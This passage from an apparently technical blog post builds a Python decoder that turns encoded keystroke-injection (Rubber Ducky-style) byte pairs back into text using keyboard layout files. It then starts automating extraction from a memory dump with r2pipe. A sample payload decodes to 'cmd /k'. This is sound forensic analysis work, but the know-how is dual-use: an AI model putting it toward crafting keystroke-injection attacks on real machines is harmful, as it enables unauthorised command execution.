font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span></span>
<span id="cb30-4">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.key_mod_values <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> []</span>
<span id="cb30-5">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span></span>
<span id="cb30-6">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.key_values <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> []</span>
<span id="cb30-7">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.char <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">""</span></span>
<span id="cb30-8">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.alt <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span></span>
<span id="cb30-9">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.altGr <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span></span>
<span id="cb30-10">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.shift <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span></span>
<span id="cb30-11">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.us <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">""</span></span>
<span id="cb30-12">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.combo <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">""</span></span>
<span id="cb30-13">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.comboAlt <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span></span>
<span id="cb30-14">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.comboAltGr <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span></span>
<span id="cb30-15">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.comboShift <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span></span></code></pre></div></div>
<p>For testing, we will use the following values:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb31" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb31-1">line <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b"</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\x00\x06\x00\x10\x00\x07\x00\x2c\x00\x38\x00\x0e</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span></span></code></pre></div></div>
<p>Before starting the decoding, we need to guess the layout and system. The best way to use the same values as the encoding process is to copy the full <code>library</code> folder and search from there:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb32" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb32-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> get_possible_layouts():</span>
<span id="cb32-2">    possible_layouts <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">set</span>()</span>
<span id="cb32-3">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> _, _, file_names <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> os.walk(Path(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">__file__</span>).parent.resolve().joinpath(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"library"</span>)):</span>
<span id="cb32-4">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> file_name <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> file_names:</span>
<span id="cb32-5">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> file_name.endswith(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">".json"</span>):</span>
<span id="cb32-6">                possible_layouts.add(file_name.split(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"."</span>)[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>])</span>
<span id="cb32-7">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">list</span>(possible_layouts)</span>
<span id="cb32-8"></span>
<span id="cb32-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> load_layout(system, layout):</span>
<span id="cb32-10">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">try</span>:</span>
<span id="cb32-11">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(Path(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">__file__</span>).parent.resolve().joinpath(<span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f"library/</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>system<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">/</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>layout<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">.json"</span>)) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> f:</span>
<span id="cb32-12">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> json.load(f)</span>
<span id="cb32-13">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">except</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Exception</span>:</span>
<span id="cb32-14">        logging.exception(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Error loading layout"</span>)</span>
<span id="cb32-15">        exit()</span></code></pre></div></div>
<p>The main function iterates through the characters of the string and encodes them one by one.</p>
<p>The basic reverse process is to check if the char is a combo and then try to load the next char to verify if it’s valid or not. If not, it will try to reverse a normal key. If something goes wrong, will ignore it and just continue with the next one.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb33" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb33-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> extract_string(line, layout):</span>
<span id="cb33-2">    decoded <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">""</span></span>
<span id="cb33-3">    offset <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span></span>
<span id="cb33-4">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> i <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">range</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>, <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(line), <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>):</span>
<span id="cb33-5">        i <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> offset</span>
<span id="cb33-6">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">try</span>:</span>
<span id="cb33-7">            _combo_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> reverse_combo(line[i], line[i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>], layout)</span>
<span id="cb33-8">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">except</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">IndexError</span>:</span>
<span id="cb33-9">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">continue</span></span>
<span id="cb33-10">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> _combo_key:</span>
<span id="cb33-11">            <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># check if next key can be combo-ed</span></span>
<span id="cb33-12">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">try</span>:</span>
<span id="cb33-13">                _k <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> reverse_combo_key(line[i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span>], line[i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">3</span>], layout, _combo_key)</span>
<span id="cb33-14">                <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> _k:</span>
<span id="cb33-15">                    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># combo key sucess</span></span>
<span id="cb33-16">                    logging.debug(_k)</span>
<span id="cb33-17">                    decoded <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> _k.char</span>
<span id="cb33-18">                    offset <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">3</span></span>
<span id="cb33-19">                    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">continue</span></span>
<span id="cb33-20">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">except</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">IndexError</span>:</span>
<span id="cb33-21">                <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">continue</span></span>
<span id="cb33-22">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">try</span>:</span>
<span id="cb33-23">            _k <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> reverse_key(line[i], line[i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>], layout)</span>
<span id="cb33-24">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">except</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">IndexError</span>:</span>
<span id="cb33-25">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">continue</span></span>
<span id="cb33-26">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> _k <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span>:</span>
<span id="cb33-27">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">continue</span></span>
<span id="cb33-28">        logging.debug(_k)</span>
<span id="cb33-29">        decoded <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> _k.char</span>
<span id="cb33-30">        offset <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span></span>
<span id="cb33-31">    logging.info(decoded)</span></code></pre></div></div>
<p>The <code>reverse_combo</code>, <code>reverse_combo_key</code>, and <code>reverse_key</code> functions are very similar, and decode pairs of values. The <code>layout</code> argument is the loaded json file with all the keys.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb34" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb34-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> reverse_key(key_mod, key, layout) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> Key:</span>
<span id="cb34-2">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># assume no previous combo key was found</span></span>
<span id="cb34-3">    _k <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> Key()</span>
<span id="cb34-4">    _k.key_mod <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> key_mod</span>
<span id="cb34-5">    _k.key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> key</span>
<span id="cb34-6">    _k.key_values <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [k <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> k, v <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> maps.charMap.items() <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> v <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> _k.key]</span>
<span id="cb34-7">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(_k.key_values) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>:</span>
<span id="cb34-8">        _k.us <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> _k.key_values[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>]</span>
<span id="cb34-9">        _k.key_mod_values <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [k <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> k, v <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> maps.modMap.items() <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> v <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> (_k.key_mod <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span> v)]</span>
<span id="cb34-10">        _k.reverse_key_mod()</span>
<span id="cb34-11">        possible_char <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">list</span>(</span>
<span id="cb34-12">            <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">filter</span>(</span>
<span id="cb34-13">                <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">lambda</span> x: <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">all</span>(</span>
<span id="cb34-14">                    [</span>
<span id="cb34-15">                        x[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"us"</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> _k.us,</span>
<span id="cb34-16">                        x[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"shift"</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> _k.shift,</span>
<span id="cb34-17">                        x[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"alt"</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> _k.alt,</span>
<span id="cb34-18">                        x[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"altGr"</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> _k.altGr,</span>
<span id="cb34-19">                        x[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"combo"</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> _k.combo,</span>
<span id="cb34-20">                        x[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"comboShift"</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> _k.comboShift,</span>
<span id="cb34-21">                        x[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"comboAlt"</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> _k.comboAlt,</span>
<span id="cb34-22">                        x[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"comboAltGr"</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> _k.comboAltGr,</span>
<span id="cb34-23">                    ]</span>
<span id="cb34-24">                ),</span>
<span id="cb34-25">                layout.get(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"keys"</span>, []),</span>
<span id="cb34-26">            )</span>
<span id="cb34-27">        )</span>
<span id="cb34-28">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(possible_char) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>:</span>
<span id="cb34-29">            _k.char <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> possible_char[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>].get(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"char"</span>)</span>
<span id="cb34-30">            logging.debug(<span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f"key found! </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>_k<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span>)</span>
<span id="cb34-31">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> _k</span>
<span id="cb34-32">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">elif</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(possible_char) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>:</span>
<span id="cb34-33">            logging.warning(<span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f"Multiple char found for this key! </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>possible_char<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span>)</span>
<span id="cb34-34">            logging.warning(_k)</span>
<span id="cb34-35">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span></span>
<span id="cb34-36">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span>:</span>
<span id="cb34-37">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span></span>
<span id="cb34-38">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">elif</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(_k.key_values) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>:</span>
<span id="cb34-39">        <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># edge case: space value is duplicated in charMap</span></span>
<span id="cb34-40">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">" "</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> _k.key_values <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">and</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Space"</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> _k.key_values:</span>
<span id="cb34-41">            <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># ignore key_mod</span></span>
<span id="cb34-42">            _k.char <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">" "</span></span>
<span id="cb34-43">            _k.us <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">" "</span></span>
<span id="cb34-44">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> _k</span>
<span id="cb34-45">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span>:</span>
<span id="cb34-46">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span></span>
<span id="cb34-47">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span>:</span>
<span id="cb34-48">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">False</span></span></code></pre></div></div>
<p>To reverse the process of the encoding, we need to inverse the bitwise OR. I wrote some small methods in the Key object to retrieve the information by just using <code>_k.reverse_key_mod()</code>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb35" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb35-1">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> reverse_key_mod(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">None</span>:</span>
<span id="cb35-2">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"LSHIFT"</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.key_mod_values:</span>
<span id="cb35-3">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.shift <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">True</span></span>
<span id="cb35-4">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"LALT"</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.key_mod_values:</span>
<span id="cb35-5">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.alt <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">True</span></span>
<span id="cb35-6">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"RALT"</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.key_mod_values:</span>
<span id="cb35-7">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.altGr <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">True</span></span>
<span id="cb35-8"></span>
<span id="cb35-9">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> reverse_key_mod_combo(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">None</span>:</span>
<span id="cb35-10">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"LSHIFT"</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.key_mod_values:</span>
<span id="cb35-11">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.comboShift <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">True</span></span>
<span id="cb35-12">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"LALT"</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.key_mod_values:</span>
<span id="cb35-13">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.comboAlt <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">True</span></span>
<span id="cb35-14">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"RALT"</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.key_mod_values:</span>
<span id="cb35-15">            <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">self</span>.comboAltGr <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">True</span></span></code></pre></div></div>
<p>With all that information gathered from the mapping, the final step is to filter the chosen layout for a key that matches all those properties.</p>
<p>A special case is the space key (<code>0x2c</code>) because is the only duplicated value in the charMap. If the length of <code>_k.key_values</code> is greater than 1, a space is assumed.</p>
<p>We can now test the script with our sample string (<code>line = b"\x00\x06\x00\x10\x00\x07\x00\x2c\x00\x38\x00\x0e"</code>):</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb36" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb36-1">$ python3 test_unduckify.py --layout us --system win</span>
<span id="cb36-2">INFO: cmd /k</span></code></pre></div></div>
<p>The simple test works well :)</p>
</section>
<section id="automating-the-extraction-with-r2pipe" class="level3">
<h3 class="anchored" data-anchor-id="automating-the-extraction-with-r2pipe">Automating the extraction with r2pipe</h3>
<p>Now that we have a working prototype for decoding the payload, we can use it to analyze a memory dump programmatically with <code>r2pipe</code>. This tool allows us to interact with radare2 directly from the Python script.</p>
<p>The first step is to load the binary and analyze it. We also get the binary size and a list of all the detected functions.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb37" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb37-1">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># load binary</span></span>
<span id="cb37-2">    binary_file <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> Path(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">__file__</span>).parent.resolve().joinpath(args.<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">file</span>)</span>
<span id="cb37-3">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">try</span>:</span>
